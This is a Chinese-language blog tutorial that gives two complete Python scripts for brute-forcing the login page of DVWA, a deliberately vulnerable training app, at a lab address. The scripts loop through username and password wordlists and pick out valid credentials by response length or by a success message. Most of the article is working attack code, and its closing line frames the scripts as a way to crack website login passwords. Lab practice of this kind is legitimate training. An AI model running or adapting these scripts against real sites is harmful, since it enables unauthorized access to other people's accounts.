Python实现DVWA暴力破解脚本:基于响应长度与特征判断

Jasper
Jasper
发布时间:2026-10-16 | 2人浏览过
原创

本文介绍使用Python编写脚本对DVWA靶机进行暴力破解的方法。通过requests库发送GET请求,遍历账号密码字典,分别基于HTTP响应状态码、报文长度差异及返回文本特征三种方式识别成功登录凭证,并将结果保存至CSV或TXT文件。

本次测试以DVWA(Damn Vulnerable Web Application)为靶机,重点针对其暴力破解模块的Low和Medium安全等级进行验证。

关键代码解释

变量url用于指定目标网站的登录接口地址。

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

变量header用于设置HTTP请求头,包含User-Agent和Cookie等必要信息。

header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

变量payload用于构建POST或GET请求的具体参数,包括用户名、密码及登录按钮标识。

payload = {'username':username,'password':password,"Login":'Login'}

该行代码执行一次GET请求,并将服务器返回的响应对象赋值给变量Response。

Response = requests.get(url,params=payload,headers=header)

这两行代码通过嵌套循环遍历账号字典和密码字典,生成所有可能的组合以进行暴力破解尝试。

这种双重循环遍历的方式在逻辑上与Burp Suite Intruder模块中的Cluster bomb攻击模式一致。

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

循环结束后,将每次尝试的结果(状态码、用户名、密码、响应长度)以逗号分隔的形式写入CSV文件。

其中Response.status_code获取HTTP响应状态码,len(Response.content)获取HTTP响应报文的字节长度。

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代码

方法一

由于登录成功与失败时服务器返回的数据包长度通常存在差异,可以通过比较响应长度来筛选出可能的正确账号密码。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

运行结果

运行脚本

此处展示脚本实际发送的网络数据包内容。

查看生成的结果文件

筛选出响应长度与其他记录明显不同的条目,并在DVWA中进行登录测试验证。

方法二

该方法依据登录成功时服务器返回的特定文本特征(如欢迎语)来判断凭证是否正确,并将识别出的正确账号密码输出至屏幕及TXT文件。

主要代码改动位于第17至20行,增加了针对响应文本内容的判断逻辑。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

运行结果

到此这篇关于Python破解网站登录密码脚本的文章就介绍到这了,更多相关Python破解网站登录密码内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!

相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表